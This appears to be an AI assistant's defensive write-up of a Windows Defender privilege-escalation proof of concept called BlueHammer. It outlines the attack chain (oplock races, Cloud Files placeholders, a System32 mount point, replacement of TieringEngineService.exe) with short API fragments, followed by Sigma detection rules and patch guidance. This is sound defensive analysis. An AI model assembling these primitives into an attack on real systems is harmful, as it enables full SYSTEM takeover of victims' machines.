The file you provided is a C/C++ PoC that imports both Win32 and NT-native functionality and stitches together several Windows subsystems. Its broad logic is visible directly from the source:

1) Native APIs are resolved and used directly

The code dynamically uses NT routines such as:

  • NtOpenDirectoryObject
  • NtQueryDirectoryObject
  • NtSetInformationFile
  • NtCreateFile

This is a strong signal that the author wanted fine-grained control over object namespace and file metadata operations, especially rename/disposition behavior and direct inspection of the Object Manager namespace. 

2) It enumerates \Device looking for shadow copies

The helper structures and functions around OBJECT_DIRECTORY_INFORMATION and the linked-list of volume names show the PoC scanning the Object Manager directory for entries beginning with HarddiskVolumeShadowCopy. That means the exploit expects or waits for a fresh VSS-backed path it can later use as a stable reference to content outside the normal mutable filesystem view. 

3) It sets an oplock on a file inside a new shadow-copy-backed path

The thread named ShadowCopyFinderThread waits for a new shadow copy, opens a file through that path, then requests FSCTL_REQUEST_BATCH_OPLOCK. This is a classic synchronization primitive in Windows exploitation: hold a victim path open, stall a racing actor, then release at the moment that best benefits the attacker. 

4) It registers a fake Cloud Files sync root

The function DoCloudStuff() calls:

  • CfRegisterSyncRoot
  • CfConnectSyncRoot
  • CfCreatePlaceholders

This is not normal behavior for ordinary software outside sync providers. The PoC uses the Cloud Files API to create placeholder behavior and influence how files appear to the system. Public BlueHammer analyses also call out Cloud Files abuse as one of the exploit’s novel components. 

5) It writes an EICAR string to trigger Defender

The main() routine writes the EICAR test pattern into a temporary file, then opens it in a way intended to trigger Defender real-time protection. The point is not malware delivery; the point is to force Defender into the vulnerable handling path. That makes the antivirus engine itself part of the exploit chain. 

6) It deletes/recreates paths while a privileged workflow is in flight

The code uses file disposition, moves directories aside, recreates them, and reopens handles with specific sharing and supersede semantics. This is the hallmark of a TOCTOU / path-switch exploit: preserve the victim’s logical expectation while changing the actual underlying object. 

7) It creates a mount point to C:\Windows\System32

Later, the PoC creates a mount-point reparse buffer and sends it through FSCTL_SET_REPARSE_POINT, targeting \\??\\C:\\Windows\\System32. This is the redirection primitive. The attacker-controlled temp working directory stops pointing where the privileged component thinks it does, and starts resolving into System32

8) It targets TieringEngineService.exe

The code repeatedly attempts to create or supersede C:\Windows\System32\TieringEngineService.exe and then copies its own executable there. Finally, it invokes COM activation intended to cause that service binary to run in a privileged context. In other words, the exploit is not merely reading data; it is using the vulnerable chain to achieve a privileged binary replacement / launch path

What the vulnerability really is

At a safe, defensible level, the vulnerability can be summarized like this:

A privileged Defender-related workflow can be induced to operate on a path that appears safe at one moment, but resolves somewhere else by the time a later file operation occurs.

That is a mix of:

  • TOCTOU race condition
  • path confusion
  • namespace / reparse abuse
  • trusted-component file materialization in an attacker-controlled context

Public reporting on BlueHammer uses exactly that framing: a Windows Defender signature update LPE that chains timing and path redirection to escalate a low-privileged account. 

Text diagram: exploit logic at a glance

[Low-priv user]
      |
      v
[Drop EICAR-like trigger file in temp path]
      |
      v
[Defender engages with file / update workflow]
      |
      v
[Attacker holds file operations with oplocks]
      |
      v
[Attacker swaps directories / namespaces]
      |
      v
[Cloud Files + placeholder behavior influences object state]
      |
      v
[Reparse point redirects trusted write into System32]
      |
      v
[Privileged file lands as TieringEngineService.exe]
      |
      v
[Trusted system component executes replaced binary]
      |
      v
[SYSTEM compromise]

Trust-boundary diagram

+--------------------------- USER BOUNDARY ---------------------------+
|                                                                     |
| Temp working dir        Cloud Files registration     Oplock timing  |
| Reparse point control   Placeholder creation         File rename    |
|                                                                     |
+------------------------------||------------------------------------+
                               ||
                               \/   privileged transition
+------------------------ TRUSTED DEFENDER / SYSTEM ------------------+
|                                                                     |
| Defender scanning / signature update / remediation workflow         |
| Object resolution at time A                                         |
| File write / open / replace at time B                               |
| System32 target reached through redirected namespace                |
| Execution by service / COM / scheduled privileged component         |
|                                                                     |
+--------------------------------------------------------------------+

Why the consequences are serious

Once a low-privileged local account becomes SYSTEM, the practical consequences are severe:

Impact areaWhy it matters
Full local takeoverSYSTEM bypasses most local security boundaries
Credential exposureLocal secrets, SAM, DPAPI material, service credentials become reachable
EDR evasionAn attacker can tamper with services, drivers, or policy-dependent defenses
PersistenceService, scheduled task, WMI, COM, driver, startup-chain abuse all become easier
Lateral movementA local foothold can become a domain foothold if cached or delegated material is present
IR complexityBecause the chain abuses legitimate Windows APIs, telemetry can look fragmented

Public summaries also note that the only network traffic in many lab reproductions is toward Microsoft’s own update infrastructure, which makes naive network-only detection weak.

What in the PoC should make defenders uncomfortable

Several things in the provided code are especially noteworthy:

Cloud Files API abuse

Most SOC pipelines do not meaningfully monitor CfRegisterSyncRoot or CfCreatePlaceholders when invoked by non-sync-provider software. In this PoC, Cloud Files is not a business feature; it is part of an exploitation chain. 

Object namespace awareness

The code does not just work with DOS paths. It deliberately uses:

  • \Device
  • \??\
  • reparse buffers
  • native rename/disposition classes

That is typical of advanced Windows filesystem exploitation because DOS paths are too high-level and too sanitized for this kind of attack. 

Oplocks as a reliability primitive

Oplocks are not “malicious” by themselves, but they are frequently the difference between an academic race and a working exploit. The PoC uses them multiple times to stretch narrow race windows into something more controllable. 

Trusted path overwrite

The end goal is not a userland temp file. It is C:\Windows\System32\TieringEngineService.exe. Reaching that path is what converts path confusion into privilege escalation. 

Safe code-reading notes for defenders

I am not reproducing exploit code or annotating it line by line, but the following fragments are the ones that matter conceptually:

Defender trigger

// Writes an EICAR string, then opens the file to trigger Defender behavior
WriteFile(hfile, eicar, ...);
CreateFile(foo, GENERIC_READ | FILE_EXECUTE, ... OPEN_EXISTING, ...);

Cloud Files abuse

CfRegisterSyncRoot(...);
CfConnectSyncRoot(...);
CfCreatePlaceholders(...);

Reparse / mount point abuse

DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, ...);

Oplock timing

DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, ...);

Native file metadata redirection

NtSetInformationFile(... FileRenameInformation ...);
NtSetInformationFile(... FileDispositionInformationEx ...);

Privileged target

C:\Windows\System32\TieringEngineService.exe

All of those behaviors are plainly present in the uploaded sample. 

Blue-team detection strategy

Detection should be behavioral and chained, not signature-only.

1) Hunt for unusual Cloud Files API activity

Very few normal enterprise applications should suddenly behave like a sync provider. Alert when non-approved software:

  • registers a sync root
  • connects as a Cloud Files provider
  • creates placeholders in temp/user-writable locations

Public BlueHammer analysis repositories specifically call out Cloud Files abuse as a detection opportunity. 

2) Hunt for reparse-point creation into sensitive paths

High-fidelity signal:

  • a user-writable temp path becomes a mount point / junction
  • the destination resolves to:
    • C:\Windows\System32
    • \RPC Control
    • \BaseNamedObjects
    • other privileged object namespaces

3) Hunt for opportunistic-lock abuse near Defender activity

Look for:

  • FSCTL_REQUEST_BATCH_OPLOCK
  • shortly followed by
  • Defender scanning/updating/remediation telemetry
  • then rename/supersede/delete activity on the same path family

4) Hunt for improbable creation of TieringEngineService.exe

On a healthy system, TieringEngineService.exe should not be replaced by user-context software. Any create/supersede/write/rename operation affecting this file is suspicious.

5) Hunt for short-lived temp directories with GUID-like names

The PoC creates a %TEMP%\RS-{GUID} style working directory, stages files, moves/recreates the directory, then pivots through it. 

6) Hunt for nonstandard service-binary or COM-launch sequencing

The sample ends by dropping a binary into System32 and triggering execution through a privileged service/COM path. That sequence should be correlated with prior filesystem anomalies.

Example hunting logic

Example 1 — suspicious file-system redirection into System32

title: Suspicious Reparse Point Redirection Toward System32
status: experimental
logsource:
  product: windows
  category: file_event
detection:
  selection_target:
    TargetFilename|contains:
      - '\AppData\Local\Temp\'
      - '\Users\Public\'
  selection_reparse:
    EventType:
      - 'FileCreate'
      - 'FileRename'
      - 'FileModify'
    Details|contains:
      - 'Reparse'
      - 'Mount Point'
      - 'Junction'
  selection_dest:
    Details|contains: '\Windows\System32'
  condition: selection_target and selection_reparse and selection_dest
level: high

Example 2 — Cloud Files API use by unexpected process

title: Cloud Files Provider Registration By Non-Sync Software
status: experimental
logsource:
  product: windows
  category: image_load
detection:
  selection_module:
    ImageLoaded|endswith:
      - '\cldapi.dll'
      - '\cfapi.dll'
  filter_known:
    Image|contains:
      - 'OneDrive'
      - 'Dropbox'
      - 'GoogleDrive'
  condition: selection_module and not filter_known
level: medium

Example 3 — suspicious overwrite of TieringEngineService.exe

title: Write or Replace Attempt Against TieringEngineService.exe
status: high
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith: '\Windows\System32\TieringEngineService.exe'
    EventType:
      - 'FileCreate'
      - 'FileModify'
      - 'FileRename'
      - 'FileDelete'
  condition: selection
level: critical

EDR / SOC telemetry to prioritize

Telemetry sourceWhat to look for
Sysmon Event ID 1unusual process ancestry before filesystem manipulation
Sysmon Event ID 11file create in temp path, then later under System32
Sysmon Event ID 12/13/14registry follow-on activity after SYSTEM access
Sysmon Event ID 7cfapi.dllcldapi.dllsamlib.dlloffreg.dll in odd processes
Sysmon Event ID 23/26file delete / tamper sequences around temp working dirs
MDE Advanced Huntingunusual Defender-adjacent process/file activity tied to temp paths
ETW / file minifilter telemetryreparse resolution, oplock, supersede/rename timing

What versions are affected?

This is the part where precision matters.

Initial public reporting in early April 2026 described BlueHammer as working on patched Windows 10, Windows 11, and Windows Server systems and at that moment said no CVE had yet been assigned. A few days later, April 2026 patch coverage from security vendors began tying the issue to CVE-2026-33825, a Microsoft Defender elevation-of-privilege vulnerability. Microsoft’s Defender release notes now show a platform release 4.18.26030.3011 dated April 14, 2026, which is the first obvious candidate baseline to validate in environments. Because public reporting moved from “unpatched/no CVE” to “patched/CVE assigned” within days, defenders should treat this as a verify-now issue rather than relying on old blog posts. 

Practical guidance

At minimum, validate:

  • Windows 10
  • Windows 11
  • Windows Server systems with Defender enabled
  • Defender platform version, not only OS cumulative update level

Use current Defender version telemetry to verify whether endpoints are on the latest platform release. Microsoft’s current release notes list Platform 4.18.26030.3011 on April 14, 2026.

What should defenders do right now?

Immediate actions

  1. Patch Windows and Defender platform aggressively
  2. Confirm Defender platform version fleet-wide
  3. Hunt for recent writes/renames touching TieringEngineService.exe
  4. Review temp-path reparse-point creation
  5. Review Cloud Files activity outside approved sync software
  6. Review Defender-related anomalies around definition updates
  7. Prioritize any endpoint that also shows SAM/registry secret access shortly afterward

Hardening ideas

  • Enforce WDAC/App Control where possible
  • Reduce local admin sprawl
  • Tighten visibility into reparse-point operations
  • Add detections for Cloud Files provider registration
  • Alert on rare service-binary writes under System32
  • Strengthen post-exploitation detections, not just pre-execution malware signatures

What this means for red and blue teams

I’m not going to describe how to operationalize this for offensive use. The important defensive conclusion is this:

  • Red teams will absolutely study these primitives
  • even if Microsoft fixes this exact bug,
  • the reusable ideas remain:
    • oplock timing
    • reparse redirection
    • trusted-component confusion
    • Cloud Files abuse
    • privileged-path overwrite detection gaps

That is why this disclosure matters beyond one CVE. The exploit is a case study in composable local privilege escalation.

Final assessment

BlueHammer is significant for three reasons.

1) It weaponizes trust, not just bugs

The exploit abuses the fact that security software is trusted to handle dangerous files, updates, and privileged paths. That trust becomes the attack surface.

2) It shows how fragile filesystem trust can be on Windows

When oplocks, reparse points, Object Manager paths, and privileged update logic meet, the line between “safe path” and “attacker-controlled path” can collapse.

3) It exposes monitoring blind spots

Most environments are much better at spotting PowerShell, LOLBins, and obvious credential dumping than they are at spotting:

  • Cloud Files registration by arbitrary binaries
  • mount-point abuse in temp paths
  • race-condition shaping with oplocks
  • privileged writes to unusual service binaries

Closing thoughts

BlueHammer should be read as a warning about security product attack surface. The practical takeaway is not “Defender is bad.” The takeaway is that privileged security workflows must be built as if the local filesystem is adversarial, because on modern Windows that filesystem can be reshaped in real time through timing, namespace tricks, and redirection.

For defenders, the right response is a mix of:

  • patch verification
  • behavioral detection
  • reparse/oplock visibility
  • Cloud Files monitoring
  • strict watch on trusted binary paths in System32

If your detection program does not currently model those behaviors, this bug is your reminder that it should.

Sources

  • Uploaded PoC code sample provided by the user. 
  • BlueHammerFix technical summary and stage breakdown. 
  • Fortra analysis of BlueHammer as a Defender-update LPE. 
  • RH-ISAC summary of public disclosure and attack impact. 
  • Help Net Security coverage of public PoC disclosure and affected platforms. 
  • Microsoft Defender release notes showing current platform version information. 
  • April 2026 patch coverage linking the Defender EoP to CVE-2026-33825. 

Comments are closed.